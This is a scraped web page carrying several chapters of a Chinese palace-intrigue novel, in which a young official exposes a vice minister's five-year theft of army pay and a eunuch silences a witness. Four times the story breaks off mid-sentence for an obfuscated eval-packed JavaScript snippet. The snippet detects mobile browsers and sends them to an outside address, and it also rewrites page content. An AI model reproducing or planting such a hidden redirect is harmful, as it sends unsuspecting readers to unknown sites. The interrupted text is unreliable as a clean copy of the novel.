d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144796|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思不要胡闹,但其实压根就没打算让自己女儿去和亲。 许思不去和亲,往下排那便是北寰舞。 可景雀非要保着北寰舞,为此不惜与他置气。 一边是自己的女儿与皇后,另一边是自己最爱的人,两边互不相让,许景挚现在一想到漠勒就头大。 眼看着尚书省自己商量着,就把最近的朝廷大事给说完了,御史台御史张蘅上前一步。 北寰言看着御史台有人侧步出列立即颔首,眼睛微睁,连身子都站直了几分。 “陛下。” 兵部尚书江狄先张蘅一步开口,张蘅只能又退了回去。 许景挚看向江狄,意思是说话。 江狄欠身道:“昨日西境军姚子安的副将青漠来回禀,说是三千西境军要护送齐刺史回西境,请兵部签过境通行令。臣不知道该不该应允,特地来奏请陛下意思。” 许景挚有些意外,西境军竟然要丢下蔚巡生与姚子安,跟着齐丘回西境。 江狄把这事报上去,很快朝堂上就起了一片窃窃私语。 许景挚看向北寰言。 他颔首垂听的样子,极其淡定,看样子早就知道。 西境军跟齐丘回西境这主意,是他给蔚巡生出的? 许景挚靠在龙椅上思索着。 这事有利有弊。 利的是西境军撤走了,就不会有再有人对西境军做文章,对勤王府下手。他们若是想找西境的茬,就只能跟蔚巡生姚子安两个人硬碰硬。 可放西境军回去弊端也很明显。 西境军里有人知道御史台参了西境一本,若是传话的人有心,可以挑起勤王蔚光良对朝廷的不满。 御史台也有人想到了这个顾虑,侧出一步问江狄若是有人故意传话,说朝廷扣押世子,到时候该如何安抚勤王府? 江狄道:“可以请世子写一封陈情书交给齐刺史,由齐刺史带回去就交给勤王殿下,说明情况即可。” 另一个御史侧出一步,厉声道:“西境军与禁军在校场打架斗殴的事还没结,怎么能让西境军就这么回去?” 江狄回身看了一眼那个御史,道:“这事事发的时候,言少卿也跟去了,他比我了解当时情况,言少卿昨日已经查了兵部库房,想必已经有了结果。请言少卿向诸位解释这件事罢。” 北寰言当即侧出一步,缓声道:“西境军与禁军在校场打架的事有蹊跷。陈将军与姚小将军在校场问了一圈打架缘由,竟然没有一个人能说出来。 “寿礼那天新月天黑,校场上只有火光,将士们都坐在一起,谁也没看清楚最先动手的人是谁。 “后来是陈将军与姚小将军分别罚了禁军与西境军,一点一点盘查,这才问出缘由。说是因为西境军里有人不满御史台参西境,又见许都三军在陛下寿宴上吃的全是好东西,心存妒忌,这才打了起来。 “那晚臣对姚将军说这事臣来查,还未说完西境军里又有人挑事。凌信去抓人,对方有备而来,放箭射臣,救走了挑事的那个人。 “臣看得清楚,逃跑那人穿得是西境军军服。臣怀疑,那夜是有人故意在校场引起混乱,为的就是今日以西境军不服管之名,扣押蔚世子。” 北寰言从衣袖里掏出准备好的折子,递给在边上伺候的内官。 229. 唇枪舌剑 内官把折子递给许景挚,许景挚早就猜了个大概,不看折子也知道实情,他没翻折子,只是听北寰言继续往下说。 北寰言道:“臣想从西境军那里着手查。西境军的军服都是在西境做的,一般人没见过,更不要说仿制。在许都,想弄到西境军的军服没那么容易。 “西境军副将青漠查过之后也说西境军没有少人,也没有丢东西。臣便去请了江尚书的意思,进了兵部库房,去查库房里西境军服的存储情况。 “果不其然,发现兵部库房里存着的西境军样衣,丢了几件。 “这折子上的抄写的就是调查时候,入库存档与实际点出来数量——所以臣认为猴山校场那事,跟西境军无关。御史台不让西境军离都的理由,不成立。” 御史台有人听到这里,问:“只是兵部恰巧丢了几年西境军的军服,言少卿可查出是谁拿走的?” 北寰言道:“没查出来,可这事发生在前朝六部。能进兵部库房的人就那么些人,只要耐心排查,总能找到蛛丝马迹。” 北寰言笃定了这事是朝内人干的,与西境军无关。 御史台不依不饶:“言少卿怎么就能肯定这事不是西境军自导自演的一出戏?!” 北寰言睨了这个御史一眼,那眼神似乎再问,你没带脑子来上朝? 可他还是答了,字字犀利:“西境勤王府若是在朝堂之上有势力,今日就不会被你们御史台参奏。这是其一。其二,挑事的人若是西境军里的人,他跑什么?” 因为朝堂没有势力,所以不可能进入兵部偷走西境军的样衣。 因为是外人故意挑事,所以挑事的人不能被抓住,不然当晚就真相大白了。 北寰言环视一周,用眼神问御史台,还有什么疑问。 东陵当朝最年轻的宰辅,每次上朝都是有备而来。 两年时间,皆是如此。 御史台就算再不服,可他们没证据,也不敢在北寰言面前放肆。 许景挚见没人再上前质疑,懒懒道:“兵部给西境军签发过境通行令,让他们回去罢。” 许景挚是个聪明的,北寰言都说这事有蹊跷,若是他继续压着西境军不让他们回去,恐怕后面事会更难办。 江狄俯首领旨,立即让兵部侍郎去把这事办了。 西境军回去,却把蔚巡生与姚子安留下。怎么看设局之人目的都达到了。 可这只是开始,后面一定还有杀招。 许景挚或许真的想留下蔚巡生,可留下蔚巡生,蔚巡生也不会有生命危险。他只有平平安安的活着才是牵住西境的一条绳索。 对方花了那么大的功夫给世子妃一个身份,事情不会只到此就结束。 有关于西境的线索还是太零散,即便是北寰言到现在也没完全弄明白对方借锦妃之手,布下西境这步棋的意义在哪里。 “臣还有事要奏。”御史台张蘅出列俯身奏事。 许景挚与北寰言眼眸微沉,该来的终归要来了。 许景挚仰头道:“你说。” 张蘅从衣袖里摸出一本奏折双手呈上:“臣奏请陛下彻查西境军账簿!” 北寰言敛了眸光,眼底藏着不易察觉的笑意——对方从抛出这步棋开始就陷入了被动,后面的局势到底如何,谁都不知道。 “怎么?”许景挚眯着眼望着张蘅。 张蘅把手中折子递给内官:“有人往御史台递了一些证据,说西境军账簿与户部拨发军饷对不上。” 许景挚拿到折子以后翻了翻,这折子上写的是永延十三年开始,至今五年的账簿。 许景挚乐了,把折子丢在案牍上,看向张蘅:“有意思。五年的账查了四十多万两银子,这事户部不知道,倒是你御史台先一步知道西境军饷有问题。” 张蘅面不改色回道:“是啊,臣也觉得奇怪,可这证据递到御史台,御史台哪有明知有问题,却不管的道理?臣恳请户部来协同勘察此事!” 北寰言望着张蘅,若有所思—— 缓兵计? 即是对账,那便是要去西境娶西境军的账簿,这一来一回少不得要两个月的时间。 拖延时间对他们有什么好处?! 时间…… 问题是出在时间上?! 北寰言忽然想起之前郭学林跟他说过的话—— 阿言,你有没有觉得对方很赶时间啊?其实这种情况下已经不适合继续推动计划了,可对方还是强行推进计划,哪怕漏出破绽给我们也在所不惜。 难道查西境军账簿这件事真正目的,是为了拖延时间?! 时间…… 北寰言把对方摆在明面上的棋子都拿出来过了一遍。 勤王府世子妃与锦妃…… 升任工部侍郎的纵尚与招灵台…… 招!灵!台!? 对方用西境军账簿的事拖延时间,其实是在等招灵台完工?! 招灵台到底在对方的计划里占着什么样的作用?对方为什么要想尽一切办法拖延时间等招灵台完工呢!? 北寰言思绪转得飞快,完全没听见朝堂上那些人在说什么。 等他回过神的时候,却看见蔚巡生已经站在了大殿上与张蘅对峙。 他什么时候来的? 北寰言看见蔚巡生转向张蘅,张口就来:“永延十三年,户部拨银军饷五十六万两白银,其中二十七万两用于士兵的军银发放,六万两用于西北粮马道维护,十二万两用于购入西境五洲军粮,五万两用于添置军备,三万两用于西境马场,剩下三万两用于战死将士们的安置。张大人,我这账目背得可对?” 张蘅愣了一下,连忙低头去看手上的笏板,半晌才道:“对……啊,不对!” 蔚巡生挑眉:“哪里不对?” 张衡道:“世子说的是西境军的账目,可这账目跟户部对不上。户部永延十三年拨给西境军的可是六十万两银子。” 蔚巡生冷冷一哂,笃定地说:“不可能。押运都是皇城禁军转到西境军手上的,出城、过城,皆要查验,八车,四万两白银,若是少了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151376|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沿路押运不可能发现不了。” 蔚巡生这话的意思何其明显,西境军军饷不可能在押运的时候出问题,他敢来背西境军这些年的账簿,肯定与西境军这些年的花销对得上。 若是西境与押运都没问题,那问题出在哪里,不言而喻。 陈松也出列担保说禁军押送军饷,绝对不可能有问题。 蔚巡生态度强硬,认定西境账目与户部对不上不是西境军的问题。 这话说的张蘅额头冒汗,但也只能硬着头皮说:“事情还是要查过之后,才知道……” 北寰言已经想明白对方用缓兵计的目的,眼眸里漏出了杀意。 此时,若是他拨弄棋局,让整个局势不受控,那么后面就会漏出更多的破绽。 他原本想从大理寺改判户部侍郎家丁的案子入手扣押秦谷,不曾想现在竟然有了一个千载难逢的反击机会——对方根本不知道他手上已经拿到了搅乱棋局的一颗棋子,此时入局,会让事态变得一发不可收拾。 所以他必须在这里给对方迎头痛击,让对方没有招架还手的余地。 “这事,我信西境,也信禁军。” 北寰言骤然出声,朝堂之上所有人的目光不约而同地聚向北寰言。 北寰言神色淡然道:“这事若是出了纰漏,要查验也只能从当时随行负责监管的户部入手。” 户部尚书翟淳一听北寰言两句话就把矛头指向户部,当即出声喝道:“这事事关重大,言少卿怎么能如此随便就下定论?!” 北寰言目光转向翟淳,缓缓道:“押运军饷这事不是翟尚书亲自去办的,您怎么知道就一定不是户部出了问题?” 大理寺卿汤邢微微站直了身子,用一种意味深长的目光望着翟淳,翟淳刚好也在此时看见了汤邢的表情。 那是一个警告的眼神。 北寰言升任大理寺少卿之后,手上过的都是大案。 只要他站在朝堂上公开说这事,一定是查清楚查明白手上有证据才会如此笃定。 北寰言出列,张口就说要查户部,这案子明显已经没有转换的余地。 翟淳想明白这个道理,便不敢再说话。 北寰言继续道:“户部对账一向都是各司掌事来对。西境军账簿五年对不上,户部五年无人来提。今日蔚世子入许都贺寿,眼看就要走了,才有人把这事拎出来说。翟尚书,我不为别的,只问您一句话,您敢跟蔚世子与陈将军一样,以自己仕途替整个户部作担保,说这事一定不是户部的人做的?” 翟淳不敢。 户部掌管国库,权力大油水多。若是细查起来,翟淳自己都有许多说不清的事,他怎么敢用自己的辛苦挣来的仕途替别人担保? 但翟淳也实在想不到,户部里竟然藏着这么一个胆大包天的人,竟然敢瞒着整个户部,做假账,一做就做了五年! 那少的四十万两银子到底去哪了? 翟淳只是捋一遍这五年户部的升迁,就捋出一个头绪,他看向身在身后户部侍郎秦中,满眼都是探究。 230. 破局 北寰言看向许景挚欠身道:“陛下,这事臣以为事出许都,根本不必兴师动众的去查西境。” 许景挚一只手撑着下巴,食指撑着眼角,眼眸微眯,眼底幽暗,心中思绪涌动—— 北寰言从沁春城回来就领了命清查朝廷六部,他看过户部卷宗。后来他又去西境巡查,也一定看过西境的卷宗。 他肯定在西境的时候就查到了西境军这五年的账簿有问题。 他从西境回来已经三个月了。查一个账簿,三个月绰绰有余。 所以北寰言是早就知道户部有问题,特地留了一手,等着对方先发难,在这破了对方的布局。 上次的全城瘟疫案中他失了一招吃了个大亏,现在学乖了,查到事隐而不发,等着对方入局。 心思之深,可见一斑。 加以时日,让他把朝廷权柄这套把戏玩明白了,那便是想要谁死,谁就必须死。只靠郭学林一个人,恐怕制不住他的光辉。 这个人天生就应该是个帝王。 许景挚在沉默的几息里想了许多,最后还是递给北寰言一个眼神,让他继续说下去。 北寰言侧目,目光森森看向秦中:“秦侍郎。” 秦中听见北寰言唤他,腿都吓软了,颤颤微微地转向北寰言:“言少卿……” “这事,我替你说,还是你自己说?!”北寰言沉下声,似有胁迫秦中的意思。 蔚巡生此时的表情更是丰富,他原本以为今日上朝是一场旷日持久的唇枪舌战,不曾想北寰言压根就没想跟御史台纠缠,直接点了户部侍郎的名字。 呵,这个小狐狸。 他早在去西境军营查西境账簿的时候就知道西境军账簿有问题了。 一直按着不发,就是等现在这个时机。 蔚巡生后退几步,给秦中让了一个位置。 秦中额头渗汗,慢吞吞走到殿中,木愣愣地跪下。 他沉默了片刻,当即一头磕在地上,咬牙说道:“臣——不知!” 北寰言见秦中心存侥幸,立即从衣袖里掏出第二本折子递给内官。 内官把折子呈给许景挚,许景挚翻开看着。 北寰言盯着秦中,字字清楚地说道:“秦侍郎,你永承年间入仕。家中没有其他在朝为官的族人,也没有从商的兄弟姐妹。你与我一样是朝廷正四品的官员,一年俸禄不过二百六十石禄米,分田七顷,俸钱五十两,这些折合成银子满打满算,也不过年入三百两。怎的,秦家大少只是在醉云楼吃花酒,一年就能撒进去五千两白银?” 北寰言转向许景挚:“臣递上去的就是醉云楼的账簿,里面清楚的记录了秦谷什么时候去的,每次去醉云楼花了多少银子,共计多少银子。” 秦中听得额头汗珠直往下滴。 北寰言转身厉喝:“秦侍郎,这事你还是不肯招吗?!” 秦中吓得一哆嗦,却还是不肯认罪。 北寰言见他不肯说话,当即禀明许景挚:“请陛下允准大理寺查抄秦府,带秦府一干人等回大理寺审问!尤其是秦侍郎的儿子秦谷,臣相信一定有人会说实话!” 秦中一听北寰言要去查抄秦府,当即松了口,连连磕头认错:“陛下!陛下!臣是一时糊涂,一时糊涂啊——陛下!” 许景挚坐在龙椅上,目光淡然,一言不发。 秦中见求陛下没用,转而要去抱北寰言的大腿。 北寰言敏锐后退几步,秦中扑了个空,只能趴在地上哭喊道:“言少卿,抓我一人去大理寺就行了,我什么都招!我什么的都招!府上的人,他们什么都不知道,都是我拿回去什么,他们就用什么,我拿回去多少他们就用多少。他们怎么会知道我银子是从哪来的啊!” “这么说,你承认这五年西境军军饷与户部的账簿对不上,是你从中作梗了?!”北寰言睨着秦中。 秦中伏在地上,默默地点了头。 北寰言蹙眉,厉喝道:“说话!” “是我,是我!”秦中颤颤微微,“都是我做的,是我一时糊涂。我认……我什么都认……只求言少卿不要累及我家人!” 秦中说完便晕了过去。 北寰言欠身道:“陛下,秦中需要到大理寺去细细审问过才知道。” 许景挚心里冷哼,这可不是要弄清楚吗?赔了黑市一栋日进斗金的花楼,再弄不清楚,可不就亏大了?! “秋薄!”许景挚唤御前值守的秋薄进来,“把这狗东西给我押到大理寺去,别让他死了。” “是。” 秋薄领命,回身看向身边的御林军,立即有人进来把秦中抬走了。 蔚巡生今日来看了一出好戏,心中暗道北寰言好气魄,许都最大的销金窟他说关就关,一点都不心疼,可见今日这一仗,他是下了血本的。 这便是东陵史上最年轻的宰辅。 * 下朝后,蔚巡生跟着北寰言一起往外走,打趣问他:“折了一个花楼,心疼吗?” 北寰言不想跟蔚巡生说话,现在他想起这个事就头疼。 北寰舞还气着呢。 这账簿是北寰言硬从北寰舞那要过来的。 许都像醉云楼这种花楼一般都有两个账本应付户部审核。 一本假账对外纳税,一本真账对内自用。 若是真账簿漏了出去,那便是这花楼开到头了。即便是醉云楼不关张,也没不会有人再去。 北寰言这一仗虽然面子上赢得漂亮,可内里却折损巨大。 蔚巡生看着北寰言愁容,心里暗暗笑了一下,这恩情,他替整个西境记着了。 日后若有机会,必当重谢。 * “什么!?” 兰香殿里传来一声惊呼,随即里面伺候的宫女内官都被遣了出来。 锦妃倏然起身,睁大眼睛,一副不可思议的表情望着如福:“西境军饷案,这么快就解决了?!” 如福颔首:“是。” “北寰言要亲自审秦中,不会出什么岔子吧?!”锦妃惊恐万分。 如福垂眸低声道:“秦中那银子是他自己贪的,银子也是他自己花出去的。怎么都挨不着我们兰香殿。” 锦妃一脸错愕,缓缓坐下。 真是万万没想到自己给西境勤王府千方百计设下的陷阱,三步棋,每一步都没落在自己想落的地方。 她怂恿陛下给西境勤王府送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164208|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有毒的宅子,没毒死世子,也没毒死勤王。 蔚巡生后来病好了入许都,那埋伏在黑市玉玺,竟然也没伤到他分毫,反倒是她哥哥锦海傻乎乎地入局,被牵扯其中,无法动弹。 最后一招西境军军饷案,竟然还是没有拿住蔚巡生。 这蔚巡生到底是什么运气,应该能够一而再再而三的化解危局? “笑话!真是天大的笑话!”锦妃不甘心地把桌上东西全部扫在地上。 如福却依然是一副淡然的模样,恭敬回道:“娘娘不必忧虑,待奴出宫一趟,把隐患全部除掉,这事就挨不着娘娘了。” 午后,如福便拿了兰香殿的腰牌,出了宫。 * 北寰言在宫门口与蔚巡生分道扬镳。 秦中已经被押到大理寺牢房。 北寰言进牢房的时候,秦中双手被束在身后,一脸落魄坐在椅子上。 看见北寰言来,他便立即要凑上去跟北寰言说话。 秋薄一把把他抓回来,按在椅子上。 怕他咬舌自尽,秋薄给秦中嘴里塞了布条。 秦中只能呜呜呜。 北寰言带着录事来,把秦中嘴里的布条拿出来,秦中疯魔了一般,不等北寰言问就把自己做过的事全部招了。 录事把供词拿给秦中看,秦中立即签字画押。 北寰言把供词拿过来看了一眼,没再说什么,放在卷宗里交给录事拿出去,给他结案。 录事走后,北寰言走到秋薄身边,一礼道:“秋统领,我还有别的事想问他……” 秋薄知道北寰言一直在查案子,立即抱拳还礼,便把身边人都带了出去。 审问室里只剩下北寰言与凌信两人。 铁门砰的一声关上,让秦中回了神。 北寰言踱步到秦中身边,睨着他,低声道:“后面我问你的话,不会被大理寺记录。但我希望你知无不言。” 秦中抬起头望着北寰言。 北寰言问:“贪墨西境军银子这事,是谁提醒你的,你还记得吗?” 秦中微微摇头,一脸疑惑。 北寰言换了个引导方式:“你在户部任职十年之久,若是有歹心,不应该是最近五年才起心思。户部能捞钱的地方那么多,何必在西境军军饷上动脑筋?所以我猜,一定是有人在旁提点你,让你这么做的。是谁提醒了你,暗示你这么做?” 秦中垂下眼眸,似在沉思。 北寰言换换引导:“是不是当时在你身边的某个人,亦或者是酒席上有什么人说了一嘴,让你听去了?还是别的什么……” 秦中顺着北寰言的话继续往下想,是的,确实是有人提了一嘴。 是谁呢? 五年前…… 北寰言见他还没想起来,又道:“五年前,秦家曾经出过一件大事。你妹夫卓上盈曾因去西境巡查时候贿赂案,入了狱。你妹夫与你们家都是寒门出身,那案子最初是刑部审的,你妹妹曾经来求过你,让你想办法救自己的夫君。据我所知,秦卓两家当时拿了不少银子出来疏通关系,才免了革职下放到州府……” 秦中似乎是想起来,瞳孔猛缩:“我妹夫是被人诬陷的!” 231. 灭口 "即是诬陷,为何又要花银子?”北寰言缓声问道,“找到诬陷的证据递上去就行了,又何必花钱消灾呢?” 秦中愣了一下,许久才苦笑道:“言少卿.....你入仕时间短,不清楚。更治逐渐清明起来,也是在你入大理寺任职少卿之后,这两年才有的事。不是谁都跟你一样,有那么硬的家底与背景,敢与上面的大人物对抗。像我们这种人家出身,在许都没有背景,就只能任人揉捏。我说句难听的,那时候出去借银子,都没有人肯借。” 北寰言颔首,不置可否,沉默片刻,问:“所以你想起来是谁给你出的这个主意,链而走险的?” 秦中自然想起来了,那时候自己儿子秦谷从外面喝酒回来,被他训斥了一顿,秦谷一脸委屈地哭了一鼻子说自己是出去想法子去了。 秦中自然不信秦谷这般纨绔子弟能想出什么法子。 秦谷却是一本正经地说了私自截留西境军军饷的事。 西境勤王府自建府开始,就很少来许都。后世子一直病重,勤王就基本没再出过远门。 西境一直与朝廷不亲近,西境军的事兵部户部也从不敢置喙,只是拨军饷,批文书。 秦中把秦谷骂走了,自己却坐在书房里想着这件事的可行性。 妹夫卓上盈是秦中在朝中唯一能依靠的人,现在朝廷以郭家为首的世家有做大之势。 他们这些寒门出身的都官,本就根基薄弱。 秦中的妹夫卓上盈若是因为贿赂案落马,那他以后在朝中可就真的无人可依。 于情于理,他都应该拉一把自己的妹夫。只要能免除革职,下放到州府,总有转还的余地。 最开始,秦中只是想着先挪用一部分,日后慢慢补回去,把账做平。 给西境签发户部文书与西境对账,都是他亲力亲为。战战兢兢操办下来,竟然真的无人察觉,秦中的胆子便大了许多。 他能想到从西境军军饷上找出路,也是自己儿子提了一嘴。 但他那个儿子成日里都在外面鬼混,谁知道交了什么朋友,带回这么个消息。 这事哪怕是秦中都要想半天,更不要说秦谷那记性了。 为了不让自己儿子进来受苦,秦中一咬牙,回道:“忘记了。” 秦中从迷惑到了然的表情全被北寰言看在眼里,即便是秦中不说,北寰言也早有猜测:“是秦谷回来提醒你的?” 这其实根本不难猜。 秦谷是秦家最好接触的人,他在外面吃喝玩乐,许多酒后的事,他都记不清。在那种举家危机的情况下,利用秦谷给秦中传消息,秦谷必然也会上点心。 但事后是谁跟他说的,秦谷未必会记得。 秦中担心自己儿子进大理寺吃苦,所以说自己忘记了。 秦中见北寰言已经猜到,便也不再隐瞒只道:“言少卿,我那孽障的记性我清楚。你现在抓他来问五年前的事,他肯定不记得。” 北寰言点头,确实。 寻常的问话,当然问不出来。可若是用神医谷的秘药,那结果就未可知了。 只要是秦谷见过,他就一定能在睡梦里把那人长相说出来。 “记得请记不清,要问过才知道。”北寰言执意要见秦谷。 “言少卿!”秦中想站起来,可他被铁链锁着,根本站不起来。 北寰言道:“我问事,不动刑。” 北寰言是个说一不二的人,他说不动刑,必然就不会动刑。 秦中信他,垂下头道:“言少卿,我家人是无辜的。他们对此根本不知情。我知我做的事国法难容,难逃一死。可我恳求言少卿放过我的家人,只惩处我一人。” 北寰言垂眸,沉思许久,才道:“你平日在户部也算勤勉,西境军军饷这事也是事出有因。陛下以仁慈治天下,若是知道其中难处,一定会从轻发落。你放心便是。” 北寰言说的是实话。 秦中在朝多年,深知许景挚的品行。 许景挚虽然做事喜欢依凭性子,可到底是太傅教出来的孩子,本性不坏。眼下东陵盛世已到,盛世之君必然有洞彻一切的眼睛。 “多谢……” 秦中松了一口气,靠向椅背。 北寰言从牢里出来,下意识地闭上了眼。牢里太黑,外面的光太刺眼。 他闭上眼睛的一瞬间想了许多事。 等眼睛重新适应光线以后,他侧头对凌信道:“帮我问问藏息阁,看看秦谷现在什么地方。” * 自从北寰双子看出漠勒此行醉翁之意不在酒以后,北寰舞就再没进宫,也没回临府。 她最近一直住在藏息阁,帮寒期起整理这段时间藏息阁搜集的消息。 不管怎么说,现在漠勒明确表示想娶的人是嫡公主许思,只要北寰舞不出现,这事还得许景挚自己摆平。 藏息阁接到北寰言从大理寺放出的黑色信鸽,连忙送了过来。 北寰舞接过来看了一眼,唤来藏息阁的暗礁:“我记得秦谷昨晚歇在了醉云楼,你们去看看他醒没。” 暗礁应声退下,一会儿便回来回禀说秦谷酉时一过就走了。 北寰舞嗯了一声,想着北寰言这时候找秦谷做什么。 寒期起坐在一边,若有所思道:“方才宫门口传来的消息,说是大理寺压了秦中。现在大公子找秦谷,八成是有重要的案子要问。” 北寰舞猛然反应过来:“今□□堂上一定有人参了西境军军饷案!” 寒期起也赞同地点头:“应该是……” “坏了!”北寰舞当即一拍桌子,踩着矮桌就跃到门前,跟身边的人说,“暗礁点五个人,带上地听犬跟我走!” 北寰舞顾不得许多,脚下踩着轻功,一步跃上屋脊,在月光下飞奔。 西境军军饷案,这是他们拿在手上搅乱局面的一颗棋子。 只要对方达不到目的,就会想别的办法来促成。 西境军军饷案原本就只是用来拖时间的一个障眼法。 就像当初江南漕运沉船案是掩盖硝石的障眼法一样。 这个障眼法只是一个上午的时间就被北寰言攻破,对方布局被全盘打乱。现在蛛丝马迹追到秦谷身上,对方一定坐立难安。 要么杀人灭口,要么栽赃嫁祸,总归一定会把自己从里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177720|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摘干净。 但只要是临时起意,就一定会跟在校场上挑唆西境军与禁军打架一样,给他们留下线索。 北寰舞在屋顶上一步三丈跑得飞快,衣服被风灌得猎猎作响。 眼看就要到醉云楼,北寰舞从高处就看见下面有人在暗处拖动什么东西。 地上那东西……像是个人! 有一种不好的预感在北寰舞心中升起。 她从腰间摸出飘渺剑,翻身下屋,带着漫天月华从天而降! 劲风袭来,那人还没反应过来,就有一抹寒刃压在脖颈处。 只听一个清脆的声音,厉喝:“别动!” 那人松了手。 手上的人重重摔在地上,竟然没有发出一点声音。 “小主子!” 暗礁随即追来,擒住北寰舞剑下的人。 另有人去看躺在地上的人,摸了脖颈处脉动,而后回过头摇头示意人已经死了。 北寰舞给暗礁一个眼神,暗礁上前去搜这人身上的东西,还有嘴里的药。 什么都没搜出来。 北寰舞看着这人杀人被抓一点都不慌张,顿时怒意上行。 呵,还是把他们想得太仁慈了。 他们不仅杀人灭口,还要人冒名顶罪! 北寰舞怒极,一脚踹过去,把那人踹翻在地:“煌煌都城,你敢杀人行凶?!” 北寰舞踹完才发觉这人不会武功。 那人吐了一口血,翻身靠墙坐在地上,月光照出他的容貌。 北寰舞看着这人的脸,乐了:“你是锦妃身边的如福?” 如福不答,只是捂着胸口,大口大口喘气。 “这么着急杀人灭口,西境军饷的事跟你有关?” 北寰舞睨着他,如福依然不答。 北寰舞见他不说,还剑于腰间,蹲下去鬼魅一笑,贴近他阴森森地问:“你们是不是故意拖锦妃下水?你们从一开始就想好了这事最后要她来顶罪,对吗?你背后的主子到底是谁?!” 如福依然不答。 巷口传来马蹄声。 北寰舞站起身,打了个呼哨,从转角窜出两匹马。 北寰言翻身下马,几步跑过来,看见地上坐着的如福,身边躺着的秦谷尸首,顿感这事竟然是他太着急进攻反而输了一招! 他千算万算没想到对方居然会让锦妃身边的内官出来顶罪,把所有的罪名都推在锦妃的身上。 凌信走过去蹲下粗略查了秦谷的尸首,眉宇微蹙。 他起身走向北寰言:“把人带回去再说。” 北寰言双手蜷在衣袖里,一动不动。他望着如福,眉宇间全是懊恼。 凌信见北寰言不动也不说话,不勉强他,招呼藏息阁的暗礁们帮忙,把人与尸体一起送到大理寺。 北寰舞看人都走了,才过来,牵住北寰言的手,安慰道:“对方的布局还是被我们搅乱了,我们折了一栋楼,他也折了一只臂膀。宫里的内应被我们揪出来,后面许多事就不在对方掌控之中。我们这一局没有输。” “也没有赢。”北寰言长长地出了一口气,“是我太急了。” 232. 感慨 北寰舞倒是不觉得这局他们打了个平手,对方匆忙推一个人出来顶罪,总还有擦不干净的地方。 只要有擦不干净的地方就一定能找到最后的那个人。 北寰舞轻笑道:“对方剩下能动用的棋子屈指可数,只要我们看牢,还怕找不到破绽?” “失了锦妃,世子妃便是他们谋算西境最后的希望。”北寰言心烦意乱,“可蔚巡生马上就要走了,离开许都,许多事就不在我们的掌控之中。眼下许都局势还不明朗……狗东西……” 北寰言气极了,终于在北寰舞面前原形毕露。 北寰舞从来没听过北寰言骂人,哈哈大笑,戳了戳他的脸:“千万别骂人,不然你谦谦公子的名号就没有了!” 北寰舞左看看右看看,看见北寰言的马在路边低头吃着石缝里长得草,轻笑一声,道:“回吧,还有事呢。” 北寰言不想动,北寰舞拉着他去找马。 路过藏息阁的时候,北寰舞下了马,北寰言独自往大理寺去。 北寰舞在藏息阁门口负手看着北寰言离开,才转身进了藏息阁。 * 北寰言回到大理寺,在门口站了好一会儿,整理了情绪,才去大理寺验尸房找凌信。 眼下多思无益,先看看能从如福那里能问出什么。 凌信用绢帕蒙着口鼻,仔细验秦谷的尸首。 见北寰言来,道:“酉时就死了。” “就是杀了放在那等我们去人赃并获的。” 北寰言一点都不意外秦谷死亡时间那么早。 凌信又道:“内行下的手,一掌拍在脑门,一招毙命。” “如福虽然不会武功,对方既然铁了心要线索断在如福这里,这点事,不能当证据说。”北寰言看向凌信,看他还查出什么。 凌信摇头:“别的没有了。” 北寰言点头:“走,去看看如福。” 如福已经被押回大理寺牢房,手上脚上都上了镣铐。他老老实实地坐在干草上,等着北寰言。 北寰言打开牢门,如福也没看他,只是低着头,靠在墙上。 “你想活吗?”北寰言进来便问。 如福听北寰言问这话,只觉得好笑。他仰起头,无声的大笑,笑的动作带动了镣铐发出叮当的声响。 “后事都安排好了,心无畏惧?”北寰言睨着他。 如福好不容易止住笑,淡然道:“少卿想问什么,好歹喊个录事来吧。我说的惊天大案没人记,我怎么画押?” “你就这么笃定我查不出来谁你背后真正的主子?!”北寰言蹙眉。 如福终于抬起眸,望向北寰言。 这便是许都里流传的那个三元及第的少年郎。 风姿绰约,如松如月。 在最好的年华里得到了这世上的一切。 如福满眼都是羡慕,说话的语调都轻了不少:“怎么查是你的事,怎么认是我的事。” “用你家人的性命,也换不出你一句实话?!”北寰言颔首,眸中带有冷光。 如福看着这个从未向人露出过獠牙的小人,骤然咆哮一声,只觉得有趣。 